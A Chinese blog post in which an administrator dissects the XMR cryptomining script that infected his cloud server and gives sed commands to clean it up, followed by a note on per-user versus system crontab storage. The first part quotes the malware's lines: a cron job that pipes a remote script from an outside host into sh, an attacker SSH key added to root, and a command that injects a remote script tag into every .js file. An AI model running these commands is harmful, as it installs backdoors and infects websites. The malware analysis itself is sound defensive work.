XMR恶意挖矿病毒攻击定时任务及js脚本的处理 及 Crontab定时任务分用户存储的坑

本文详细分析了XMR恶意挖矿病毒如何通过shell脚本、setenforce安全验证绕过、修改系统工具并添加定时任务进行攻击,同时揭示了Crontab定时任务的用户级与系统级区别,以及如何清理和管理服务器上的恶意js脚本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、XMR恶意挖矿病毒攻击定时任务及js脚本的处理

    之前我的阿里云服务器遭到XMR恶意挖矿病毒攻击, 见文章 我的阿里云服务器发现被中【挖矿程序病毒】 的解决处理-CSDN博客 ,今天有点时间就来准备看一下这个病毒shell文件shz.sh里面的具体内容,幸好看了,原来还有一个遗留病毒我没有解决。先看我下面列出的一些主要点:

#!/bin/sh
setenforce 0 2>dev/null		#第2行
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null	#第3行
mv /usr/bin/wget /usr/bin/get	#第15行
mv /usr/bin/curl /usr/bin/url	#第16行
		chattr -i /etc/shz.sh	#第20行
#第35行
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} 
#第43行
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
#第198行至201行
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
#第214行
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;

第2、3行关闭了setenforce安全验证。
第15行16行分别干掉了wget和curl,难怪我在服务器上找不到这两个命令,有时一安装没一会就不行了。正是这里在捣乱。
第20行给他的病毒文件加了特殊权限,让你一般删不掉。
第35行把这个定时拉取病毒的程序写进了定时任务
第43行给你的服务器添加了ssh登录
第198行至201行关闭了所有防火墙相关的
最可恶的是第214行,给整个服务器的js文件都自动在最后一行添加了一行代码,让你的网页程序都中毒了。

可以使用sed命令批量删除服务器的所有js文件中的这行:

批量删除
sed -i '/http:\/\/t.cn\/EvlonFh/d' `find / -name "*.js"`

删除单个文件里的这行数据:
sed -i '/http:\/\/t.cn\/EvlonFh/d' bootstrap.js

 二、Crontab定时任务分用户存储的坑

    平时也都只用一个用户登录服务器,自己的阿里云操作时多是 root 账号,于是在使用crontab时经常是使用crontab -e;crontab -l来编辑和查看,有一台服务器我知道它有一个任务每隔一段时间就会执行,但是使用crontab -e等命令怎么也找不到这个crontab定时任务写在哪里,再深入了解了一下才发现,crontab是分用户存储的。

    定时任务的脚本写在 /var/spool/cron/用户名 这个文件里,使用crontab -e查看就是当前用户的定时任务,要查看其它用户的定时任务必须要有root权限,因为这些文件的组权限和其它用户权限都是0.所有只有root用户可以使用-u参数来指定操作其它用户的定时任务。所有设置定时任务除了使用crontab(-u,-e,-l,-r)外,也可以直接编辑/var/spool/cron/用户名 这个文件。

     cron服务每分钟不仅要读一次/var/spool/cron内的所有文件,还需要读一次/etc/crontab,因此使用这个文件也能操作定时任务情。crontab -e配置的是某个用户的定时,而/etc/crontab是针对全局系统的任务。下面是这个命令的:

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly //每小时执行/etc/cron.hourly内的脚本
02 4 * * * root run-parts /etc/cron.daily //每天执行/etc/cron.daily内的脚本
22 4 * * 0 root run-parts /etc/cron.weekly //每星期执行/etc/cron.weekly内的脚本
42 4 1 * * root run-parts /etc/cron.monthly //每月去执行/etc/cron.monthly内的脚本

    所以系统级的定时任务,直接配置 /etc/crontab。而用户级的定时任务,建议使用 crontab -e ,这样系统会帮着检查配置的脚本语法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

林戈的IT生涯

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值